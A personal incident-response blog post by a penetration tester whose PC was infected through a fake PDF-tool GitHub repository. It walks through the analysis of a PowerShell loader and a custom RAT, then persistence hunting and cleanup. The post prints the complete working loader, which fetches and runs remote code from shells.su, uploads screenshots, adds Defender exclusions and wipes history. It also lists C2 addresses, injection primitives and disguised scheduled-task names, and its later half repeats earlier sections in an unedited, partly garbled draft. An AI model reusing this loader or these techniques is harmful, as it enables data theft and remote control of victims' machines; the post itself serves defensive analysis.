Skip to main content

When the Red Teamer Gets Pwned: Being Forced Onto the Blue-Team Side of an Incident

As an offensive security professional, I am usually on the attacking side—albeit in an authorized and legitimate capacity. Most of my previous writing has also focused on red teaming, security research, and other offensive-security topics. This article is therefore somewhat unusual for me, as it leans much more heavily toward the defensive side.

I have to admit that having my personal computer compromised after executing a malicious script was somewhat embarrassing, and the incident caused a fair amount of disruption. This time, I was not the one attacking; I was the one being attacked. At the same time, the experience turned out to be both valuable and memorable. Under the pressure of an active compromise, I was effectively forced to step into the role of a blue teamer—investigating the intrusion, containing the malware, protecting my accounts, and limiting further exposure of my data and information.

My offensive-security background helped considerably. Understanding how attackers typically think, prioritize, and establish persistence allowed me to anticipate some of the next steps and respond quickly enough to reduce the impact. However, the incident also highlighted the gap between having some defensive knowledge and working as a full-time blue-team or incident-response practitioner. I missed certain things, made a few imperfect decisions along the way, and learned firsthand that knowing how to compromise a system is not the same as knowing how to investigate and recover from one properly.

Part One focuses on the incident itself: the initial compromise, malware analysis, persistence hunting, containment, and the account abuse that followed.

Part Two is, for lack of a better word, the counteroffensive: within legal, ethical, and authorized boundaries, how much useful intelligence can be extracted from the adversary’s infrastructure—and how much inconvenience can be created for the operators behind it.

Never Assume a GitHub Repository Is a Safehouse

I was looking for an open-source alternative for PDF reading and editing when I came across a GitHub repository that initially appeared reasonably credible. It had a non-trivial number of stars and forks, and the README was concise, with a one-line installation command that addressed exactly what most users want: minimal setup and immediate execution.

GitHub is generally a trustworthy platform, despite the fact that malicious repository campaigns are certainly not new. At the time, the repository did not look suspicious enough for me to stop and investigate it first, so I executed the provided one-liner.

The installation appeared to require some time. While waiting, I went back and reviewed the README more carefully. That was when several red flags became obvious:

  • Most of the README content had little or no apparent relationship to PDF software.
  • The external domain referenced by the installation command looked unusual.
  • The repository had a reasonable number of stars and forks, but the account behind it was very new.

I immediately interrupted the installation. At that point, I assumed that some execution had already occurred. Stopping the script was therefore not a remediation by itself, but there was still value in preventing whatever had not yet completed. In an active compromise, reducing the remaining exposure is better than waiting for the entire execution chain to finish. From that moment on, I treated the situation as a race against time.

Stage 1: PowerShell Delivery

The installation command retrieved and executed a remote PowerShell script through Invoke-Expression. The first-stage script was relatively small:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"

$decodedCommand =
    [System.Text.Encoding]::UTF8.GetString(
        [Convert]::FromBase64String($encodedCommand)
    )

Decoding the Base64 content produced:

irm -Uri "https://shells.su/encrypted/api.ps1" `
    -UserAgent "aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" |
    iex

Its purpose was therefore straightforward: retrieve a second-stage PowerShell script from shells.su using a distinctive User-Agent and immediately execute the response.

One interesting detail is that the live version of this first-stage script later changed. At the time of my compromise, only the URI itself was encoded; the operator subsequently modified the delivery chain so that the complete secondary request, including the custom User-Agent, was hidden inside the Base64 blob. This suggests that the infrastructure was still being actively maintained rather than representing an abandoned one-off campaign.

Stage 2: Loader and Victim Telemetry

The second-stage script was substantially more important because it exposed most of the initial execution chain.

# ------------------------------------ LAUNCH ------------------------------------- #

$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials


function Show-Progress {
    param(
        [int]$Percent,
        [string]$Text = ""
    )

    $esc = [char]27
    $width = 20

    $filled = [math]::Floor($width * $Percent / 100)
    $empty = $width - $filled

    $gray = "$esc[100m"
    $darkGray = "$esc[48;5;236m"
    $reset = "$esc[0m"

    [Console]::Write(
        "`r        $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
    )
}



# ----------------------------------- VARIABLES ----------------------------------- #

$site     = "https://shells.su"
$zipUrl   = "$site/encrypted/1.zip"
$7zaUrl   = "$site/encrypted/7za.exe"
$password = '1'
$exePath  = '1/Helper.exe'

$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip  = Join-Path $work '1.zip'
$7za  = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'


# ----------------------------------- VARIABLES+ ---------------------------------- #

$pcName            = $env:COMPUTERNAME
$userAgent         = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"

$startUrl          = "$site/start.php"
$screenUrl         = "$site/screen.php"
$endUrl            = "$site/end.php"

$firstStepText     = '[1/3] Checking for Updates...'
$secondStepText    = '[2/3] Initialization Components...'
$thirdStepText     = '[3/3] Running Application...'

$firstSubstepText  = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText  = '[ERROR]'

if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null


# ---------------------------------- ADMIN RIGHTS --------------------------------- #

$identity  = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin   = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

# [STEP 1/3]:
Clear-Host
Write-Host "`n  $firstStepText" -ForegroundColor Cyan

if (-not $isAdmin) {}

if ($isAdmin) {
        Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}


# ---< REQUEST 1 >---------------------- GEO -------------------------------------- #

$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName

filter CustomTrim { $_ -replace '[\r\n\t]', '' }

$geoServices = @(
    @{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
    @{ Uri = "https://ipapi.co";        Path = $null },
    @{ Uri = "https://ipinfo.io";             Path = $null }
)

foreach ($service in $geoServices) {
    try {
        $response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop

        if ($response) {
            if ($service.Path -and $response.$($service.Path)) {
                $country = $response.$($service.Path).Trim().ToUpper()
            } else {
                $country = ($response | CustomTrim).ToUpper()
            }

            if ($country -match '^[A-Z]{2}$') {
                break
            }
        }
    }
    catch {
        continue
    }
}

# ------------------------------------- LINKS ------------------------------------- #

$startRequest  = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest    = "${endUrl}?pc=${pcName}&country=$country"


# ---< REQUEST 2 >--------------------- START ------------------------------------- #

try {
    $startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($startScript)) {
        $startBlock = [scriptblock]::Create($startScript)
        & $startBlock
    }
}
catch {
    Write-Warning "$_"
}


# ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #

try {
    if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }

    Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
    Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
}
catch {}

# ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "data:image/png;base64,$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

# [SUBSTEP 1/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}

Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# --------------------------------- OPEN & LOGGING -------------------------------- #

# [STEP 2/3]:
Clear-Host
Write-Host "`n  $secondStepText" -ForegroundColor Cyan

try {
    if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
    if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }

    $unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")

    $null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1

    if ($process.ExitCode -ne 0) {
        throw "[ERROR LOG] 7za: $($process.ExitCode)"
    }
}
catch {}


# [RUN FILE]
$exe = Join-Path $dest $exePath

try {
    if (Test-Path $exe) {
        Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
    } else {
        throw "[ZIP] - Error code: 2"
    }
}
catch {
    Write-Warning "$_"
}

if (Test-Path $work) {
    Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}

# [SUBSTEP 2/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}

Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #

# [STEP 3/3]:
Clear-Host
Write-Host "`n  $thirdStepText" -ForegroundColor Cyan

try {
    $endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($endScript)) {
        $endBlock = [scriptblock]::Create($endScript)
        & $endBlock
    }
}
catch {
    Write-Warning "$_"
}

# [SUBSTEP 3/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}

Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red

Start-Sleep -Milliseconds 500

Write-Host "  [ERROR] Failed to load DLL: keygen.dll`n  [ERROR] The specified module could not be found.`n  [ERROR] Error code: 0x8007007E`n  [ERROR] One or more dependencies may be missing.`n  [ERROR] Operation failed." -ForegroundColor Red

# ENDING SCREENSHOT
try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "data:image/png;base64,$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

Read-Host -Prompt "`n  Press Enter to exit"

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Its behavior can be summarized as follows:

Environment setup
    ↓
Privilege check
    ↓
Temporary working directory creation
    ↓
Attempted Defender exclusion
    ↓
Country / host reconnaissance
    ↓
Victim registration with staging server
    ↓
Download encrypted payload archive and 7-Zip
    ↓
Desktop screenshot collection and exfiltration
    ↓
Payload extraction
    ↓
Payload execution
    ↓
Temporary artifact cleanup
    ↓
Completion callback
    ↓
Second screenshot
    ↓
PowerShell history cleanup

The script configured TLS 1.2 and explicitly inherited the system proxy together with the current user's default network credentials:

[Net.WebRequest]::DefaultWebProxy =
    [Net.WebRequest]::GetSystemWebProxy()

[Net.WebRequest]::DefaultWebProxy.Credentials =
    [Net.CredentialCache]::DefaultNetworkCredentials

This is a small but notable implementation detail. It improves compatibility with environments where outbound HTTP traffic must traverse an authenticated corporate proxy. It does not mean that the malware specifically targeted enterprises, but the author had clearly considered environments beyond a simple home network.

The loader then defined the staging infrastructure:

$site     = "https://shells.su"
$zipUrl   = "$site/encrypted/1.zip"
$7zaUrl   = "$site/encrypted/7za.exe"
$password = '1'

and created a randomized working directory under: %TEMP%\svc_<random>. The payload was extracted to  %TEMP%\svc_<random>\out\. In the version I recovered during the incident, the final executable was 1.exe. The currently live version of the loader instead expects $exePath = '1/Helper.exe'.

That difference is important for the timeline: the staging script continued to evolve after my compromise, so later snapshots should not be treated as byte-for-byte representations of the version that infected my machine.

Defender Evasion

If the PowerShell process was already running with administrative privileges, the loader attempted to exclude its temporary working directory from Windows Defender:

Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue

The current version does not actually perform an elevation attempt when the user is non-administrative:

if (-not $isAdmin) {}

This is another area where the delivery chain appears to have changed over time. The later reverse engineering of the executable payload showed that privilege-related functionality existed in the RAT itself, making it plausible that some responsibilities were shifted away from the PowerShell layer.

Victim Registration and Geographic Profiling

Before downloading the executable payload, the loader attempted to determine the victim's country.

It queried several public geolocation services:

ipwho.is
ipapi.co
ipinfo.io

and constructed three staging URLs:

/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>

This reveals that shells.su was more than a simple file host.

It acted as a staging and victim-telemetry service, receiving at least:

  • computer name,
  • country,
  • execution-start notification,
  • execution-end notification,
  • screenshots.

The RAT's runtime C2 infrastructure was separate from this staging layer.

Screenshot Exfiltration

The loader captured the complete Windows virtual desktop using [Windows.Forms.SystemInformation]::VirtualScreen and $gfx.CopyFromScreen(...). The resulting bitmap was encoded as PNG, converted to Base64, and submitted to https://shells.su/screen.php as:

$screenBody = @{
    pc    = $pcName
    image = "data:image/png;base64,$base64"
}

This happened once before the executable payload was launched, and again near the end of the fake installation process. At that point, there was no realistic way to "undo" this portion of the compromise. If the requests had succeeded, whatever was visible across my displays had already been exposed.

That helped establish my immediate priorities: I needed to focus less on what had already happened and more on identifying the executable that was still running and cutting off its persistence and C2 access.

Payload Delivery

The loader downloaded /encrypted/1.zip and /encrypted/7za.exe, then extracted the password-protected ZIP using the password "1". The use of an encrypted archive is common in malware delivery because it prevents some security products and intermediary scanners from inspecting the executable before extraction. The extracted payload was then launched using:

Start-Process $exe `
    -WorkingDirectory (Split-Path $exe) `
    -Wait

That WorkingDirectory detail later became relevant during cleanup because the temporary extraction directory remained locked by processes holding handles to it.

User Deception

The script attempted to make the execution look like an ordinary installer or updater.

It displayed three stages:

[1/3] Checking for Updates...
[2/3] Initialization Components...
[3/3] Running Application...

with artificial progress bars and randomized sleep intervals. At the end, it deliberately printed:

[ERROR] Failed to load DLL: keygen.dll
[ERROR] The specified module could not be found.
[ERROR] Error code: 0x8007007E
[ERROR] One or more dependencies may be missing.
[ERROR] Operation failed.

This was not a real installation failure. It was deception. The intended explanation for the victim was effectively: the crack or application failed because a DLL was missing. The malware could complete its execution while leaving the user with a plausible reason why the expected software never appeared. Not sophisticated social engineering, but probably sufficient for a campaign operating at scale.

Anti-Forensics

Finally, the loader attempted to erase PowerShell command history:

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath `
    -Force `
    -ErrorAction SilentlyContinue

Set-PSReadlineOption -HistorySaveStyle SaveNothing

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

This removes or suppresses the user's PSReadLine history, including ConsoleHost_history.txt. It is useful against casual post-incident inspection, but it is not comprehensive forensic cleanup. It does not remove evidence from sources such as PowerShell Operational logging, Security process-creation events, EDR telemetry, network logs, Prefetch, Amcache, SRUM, or the USN Journal. The script contains several similar examples of this pattern: it is operationally malicious and clearly designed to reduce visibility, but its implementation is often pragmatic rather than particularly sophisticated. It even contains obvious programming mistakes—for example, piping the result of Invoke-RestMethod to Out-Null before attempting to process the supposedly returned script, and later checking $process.ExitCode despite $process never being defined. Those mistakes did not prevent the primary infection path from working. They did, however, provide an early indication of the operator's engineering style—and that became useful when I had to decide where to start looking for persistence.

Hunting the Payload and Its Persistence

With both PowerShell stages understood, I had a reasonably clear picture of the initial compromise. Some of the damage was already irreversible: host information had been submitted to the staging infrastructure, screenshots had likely been exfiltrated, and the executable payload had already been launched. At that point, the objective was no longer to prevent the compromise, but to contain what was still active. Fortunately, the second-stage script exposed the location where the payload was extracted. I quickly identified the executable under the temporary working directory: %TEMP%\svc_<random>\out\1\1.exe

I preserved a copy as a sealed sample for later analysis, then removed the executable from the original delivery location. Removing the initial payload, however, was obviously not sufficient. By that point, I had to assume that persistence had already been established.

There were essentially two ways forward: enumerate every plausible persistence mechanism manually, or reverse engineer the sample and let the malware tell me what it had done. The more practical answer was to do both in parallel. I submitted the preserved sample to sandbox/static-analysis workflows and also used AI-assisted reverse engineering with GPT-5.6 Sol and Opus 5. I did not treat either model as an oracle; a single automated analysis of an obfuscated malware sample is almost guaranteed to miss something. But even an incomplete analysis can save substantial time during an active incident by identifying functions, strings, API usage, persistence paths, or C2 behavior while the human investigator focuses on the live host.

 

Prioritizing the Persistence Search

The difficulty with persistence hunting is that the search space is enormous. A Windows implant can survive through scheduled tasks, services, Run keys, startup folders, WMI subscriptions, Winlogon modifications, IFEO, COM hijacking, DLL loading mechanisms, and many other techniques. I therefore needed to prioritize. The two PowerShell stages had already revealed quite a lot about the operator's engineering style. The loader used relatively direct techniques such as PowerShell, Add-MpPreference, temporary directories, external 7za.exe, obvious HTTP requests, and several pieces of error-prone code. Its operational security was functional, but not particularly sophisticated.

That did not prove that the executable would use equally simple persistence, but it provided a reasonable working hypothesis: start with the common mechanisms most consistent with the behavior already observed, particularly scheduled tasks and boot/logon persistence, then broaden the hunt if necessary.

That hypothesis turned out to be useful. I identified a second copy of the payload at C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe. The location was intentionally chosen to resemble a Windows component, while the parent directory had been given Hidden and System attributes to make casual inspection less likely. More importantly, the supposedly different RuntimeBroker.exe was not a second-stage binary at all, the fake RuntimeBroker.exe is identical to the initial payload 1.exe. Later reverse engineering confirmed that the malware creates the directory hierarchy, copies itself into this location, marks the path as hidden/system, launches the new copy, and terminates the original process. The filesystem timeline was particularly useful:

  • 23:44:56  C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe created
  • 23:44:57  Four malicious scheduled tasks created

The four tasks were:

  • \Microsoft\Location\MicrosoftUpdaterMachineCore
  • \Microsoft\Windows\EDP\ScheduledDef
  • \Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
  • \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins

All four ultimately launched the same RuntimeBroker.exe. On the compromised host, one task used a repeating 30-minute time trigger, while the remaining three used boot triggers. The task definitions also ran under the built-in Administrator SID (...-500) with InteractiveToken and HighestAvailable. Deeper reverse engineering later confirmed that the tasks were created programmatically through the Task Scheduler COM interfaces rather than by simply invoking schtasks.exe. The sample also stored C2 configuration under:

  • HKCU\Software\Microsoft\Event
  • System System = <C2 configuration>

I initially treated this as another persistence-related registry artifact, but the later analysis clarified an important distinction: this key stores C2 state and can be updated by the RAT, but it is not itself an autostart mechanism. The actual execution persistence came from the scheduled tasks. The RAT also created the mutex: Global\RuntimeBrokerAds, to enforce a single running instance.

 

Parallel Reverse Engineering

Around the same time, the automated analyses began returning useful results. Neither model independently recovered the complete picture, but their findings overlapped enough to validate several of the artifacts I was already seeing on the host, while also revealing capabilities that were not immediately visible through persistence hunting. The executable was a custom x64 C++ RAT/backdoor. Its runtime C2 used a WebSocket-based channel to 145.63.134.94:406, with a secondary HTTP task channel on 145.63.134.94:408, and support for dynamically updated *.duckdns.org endpoints. Its protocol included messages such as:

  • ready;
  • getinfo
  • ping
  • pong
  • task
  • createtask
  • closetask
  • task_id;
  • task_done;
  • update

Remote command execution ultimately used the very straightforward primitive: cmd.exe /C <command>. The WebSocket handshake contained an especially distinctive implementation artifact: Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==, which is the Base64 representation of the RFC6455 example nonce rather than a properly randomized key. That turned out to be an excellent network-side detection indicator. The binary was also more heavily protected than the PowerShell loader initially suggested. It encrypted sensitive strings, dynamically resolved APIs, and used significant control-flow and MBA-style obfuscation. Anti-analysis checks covered VMware, VirtualBox, QEMU, Hyper-V and several other virtualized environments, including an explicit check for an "anyrun GPU" indicator.

It also contained capabilities for:

  • RtlSetProcessIsCritical
  • SeDebugPrivilege
  • SeAssignPrimaryTokenPrivilege
  • WMI-based AV discovery
  • AMSI-related manipulation
  • NtAllocateVirtualMemory
  • NtWriteVirtualMemory
  • NtCreateThreadEx

with potential injection targets including: 

  • winlogon
  • smartscreen
  • explorer.exe

This gave me a more nuanced assessment of the malware. I would not characterize it as an especially advanced implant by high-end red-team or mature threat-actor standards. Its execution and operational behavior contained many noisy and conventional techniques, and parts of the surrounding delivery infrastructure were plainly rough. At the same time, it was certainly not trivial malware: it combined custom obfuscation, dynamic API resolution, sandbox detection, process-injection primitives, multiple redundant scheduled tasks, and a functional remote tasking protocol. In other words, it did not need to be elegant to be dangerous.

 

Multiple Persistence Mechanisms, but One Executable

My original prioritization was therefore broadly correct: despite the number of persistence artifacts, the malware did not rely on an exotic persistence architecture. More importantly, every persistence mechanism I identified ultimately converged on the same executable:

1.exe
   ↓ self-copy

C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
   ↑
   ├── MicrosoftUpdaterMachineCore
   ├── ScheduledDef
   ├── ProgramDataUpdate
   └── SvcRestartTaskWindowsLogins

That was probably the most reassuring technical finding during the containment phase. There were multiple ways to relaunch the malware, but only one persistent payload. From the attacker's perspective, this created a single point of failure: once the scheduled tasks were removed and the RuntimeBroker.exe copy was deleted, all of those persistence paths became useless. I have to admit that this realization produced a small amount of cold sweat in retrospect. Had the malware instead installed several independent payloads—for example, a scheduled-task executable, a service binary, a WMI-launched script, and an injected or side-loaded DLL—manual containment would have been considerably more difficult. Missing a single persistence branch could have allowed the attacker to regain execution and rebuild the others. This incident was much more forgiving.

 

Verification After Cleanup

I did not stop after removing the four known scheduled tasks and the persistent executable. I continued checking the remaining common persistence surfaces, including services, Run/RunOnce keys, startup folders, Winlogon configuration, WMI permanent event subscriptions, and other suspicious scheduled-task actions. Nothing else produced an independent executable or an additional autostart path associated with the malware. That gave me reasonable confidence that the host-level persistence and the known payload had been removed. At the time, this felt like the end of the incident. It was not. The mistake was not that I had failed to remove the RAT. The mistake was that I had focused almost entirely on persistence and continued execution, while paying much less attention to the information and authentication material the malware might already have collected during its relatively short time on the system. That distinction became apparent very soon afterward.

 

 

 

 

 

 

 

 

 

 

 

///

The loader created a random working directory under:

%TEMP%\svc_<random>\

downloaded a password-protected archive and a copy of 7za.exe, then extracted the actual executable into a path resembling:

%TEMP%\svc_<random>\out\1\1.exe

The payload I recovered was a 533,504-byte x64 PE with SHA-256:

97c6e8a58c8ca86af979fa64a516a09cdc48c6dd61fc9dd027c4af715165fb66

The PowerShell stage also captured the entire Windows virtual desktop and uploaded the screenshot to the attacker's staging infrastructure. Later versions of the live loader I preserved performed this screenshot collection twice — once before launching the payload and once again near the end of the fake installation flow.

So there was an uncomfortable but important distinction to make immediately:

Some damage was already irreversible.

Whatever had been visible on my desktop during execution had potentially been exfiltrated. The executable had already been downloaded. Host information had already been exposed.

There was no point wasting critical minutes pretending I could undo those events.

The priority was now to stop whatever was still happeningAftermath.

Triage Under Time Pressure

This was where being an offensive security practitioner helped.

I effectively split the investigation into two tracks.

On one side, I preserved the executable and handed it to AI-assisted static analysis. I knew that a rapid static analysis would be incomplete — especially against a custom binary using obfuscation — but I did not need a perfect reverse engineering report at that moment. I needed enough information to prioritize containment.

On the other side, I started manually investigating the host.

The initial loader already gave me a rough idea of the attacker's engineering style.

It was not particularly subtle.

It used PowerShell openly. It attempted Add-MpPreference. It downloaded and extracted a ZIP into %TEMP%. It spawned a normal executable. The payload itself later turned out to rely heavily on primitives such as:

cmd.exe /C
CreateProcess
OpenProcess
WriteProcessMemory
NtCreateThreadEx

There were also obvious engineering mistakes in the loader. For example, responses from start.php and end.php were piped into Out-Null, and then the script attempted to inspect the variables that should have contained those responses. The extraction code also referenced an undefined $process.ExitCode.

The code was malicious, but it was not elegant.

That observation mattered.

Profiling the Attacker to Prioritize the Search

Windows persistence is a large search space.

Scheduled tasks, Run keys, services, WMI subscriptions, startup shortcuts, Winlogon modifications, IFEO, COM hijacking, AppInit DLLs, LSA packages, DLL search-order hijacking, shell extensions — the checklist can become very long very quickly.

I did not have the luxury of treating every technique as equally probable.

The loader gave me a useful prior.

This did not look like an operator building around an enterprise EDR and expecting a dedicated SOC to inspect every process tree. It looked more like malware intended to win through volume: compromise ordinary users, move quickly, and accept noisy behavior because sophisticated endpoint evasion would be unnecessary overhead for the target population.

In other words, using cmd.exe /C or PowerShell was poor OPSEC against an enterprise EDR, but perfectly adequate against a normal consumer machine.

So I made a bet.

I started with the boring persistence mechanisms:

    scheduled tasks, obvious registry autostarts, services, startup locations, suspicious files in ProgramData and AppData.

    It was not because I believed more advanced persistence was impossible. It was risk-based triage: investigate the techniques most consistent with the engineering maturity already visible in the attack chain, then widen the search afterward.

    That bet paid off very quickly.

    RuntimeBroker.exe — But Not the Windows One

    I found:

    C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe

    The real Windows Runtime Broker does not belong there.

    Even more importantly:

    SHA256(RuntimeBroker.exe)
    ==
    SHA256(1.exe)

    The attacker had simply copied the original payload into a Windows-looking directory and renamed it after a legitimate system process.

    Later reverse engineering confirmed the exact installation logic:

    GetModuleFileNameW
        ↓
    compare current path with install path
        ↓
    remove stale copy if present
        ↓
    CreateDirectoryW
        ↓
    CopyFileW
        ↓
    set Hidden + System attributes
        ↓
    CreateProcessW(RuntimeBroker.exe)
        ↓
    ExitProcess(original payload)

    The malware did not even generate a different persistence binary.

    It was the same executable, copied byte-for-byte.

    The parent path had also been marked with Windows filesystem attributes that made it disappear from ordinary Explorer views. During the live investigation:

    attrib "C:\ProgramData\Windows"

    showed:

    SH   I

    The malware had essentially hidden itself behind a path designed to trigger the user's instinct of “that looks like Windows; I probably should not touch it.”

    Later reversing showed that the binary's obfuscated attribute-setting logic ultimately simplified to:

    OldAttributes | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM

    Simple, but effective.

    Four Scheduled Tasks, One Payload

    The major persistence mechanism was Task Scheduler.

    I eventually identified four malicious tasks:

    \Microsoft\Location\MicrosoftUpdaterMachineCore
    
    \Microsoft\Windows\EDP\ScheduledDef
    
    \Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
    
    \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins

    All four pointed to:

    C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe

    The naming was deliberate. Instead of creating something obviously suspicious such as:

    \UpdateTask123

    the malware buried its tasks inside namespaces that looked like ordinary Microsoft components.

    The host timeline was particularly clean:

    23:44:56  RuntimeBroker.exe created
    23:44:57  four scheduled tasks created

    The persistent copy and the initially downloaded executable had exactly the same SHA-256.

    From the task XML I recovered, one task repeated every 30 minutes, while the others provided boot-time execution. They ran under the built-in Administrator identity with HighestAvailable privileges.

    Later reverse engineering also confirmed that the malware did not use schtasks.exe. It instantiated Task Scheduler through COM using ITaskService, creating multiple redundant task definitions whose actions all pointed back to the same executable.

    I started thinking of the design as:

    Multiple locks, one door.

    The attacker had created several ways to reopen the same door, but there was still only one door.

    That was fortunate.

    If the persistence architecture had instead looked like:

    Task A → payload A
    Service B → payload B
    WMI C → script C
    COM hijack D → DLL D

    then missing one mechanism could have left the host compromised indefinitely.

    Here, all four scheduled tasks ultimately depended on the same binary.

    Delete the tasks and remove that executable, and the redundancy collapsed into a single point of failure.

    From an offensive engineering perspective, that is not ideal malware architecture.

    From my perspective as the accidental blue team, I was happy to take the gift.

    The Directory That Would Not Die

    There was another small mystery during cleanup.

    The temporary payload itself could be deleted, but one of its directories could not:

    ...\svc_<random>\out\1

    Explorer simply reported that the folder was in use.

    My first searches for an open handle returned nothing, until I narrowed the search:

    handle.exe -a "\out\1"

    That produced:

    explorer.exe       ... C:\Users\Administrator\AppData\Local\Temp\svc_...\out\1
    explorer.exe       ... C:\Users\Administrator\AppData\Local\Temp\svc_...\out\1
    RuntimeBroker.exe  ... C:\Users\Administrator\AppData\Local\Temp\svc_...\out\1

    After the relevant handles disappeared, the directory could be removed.

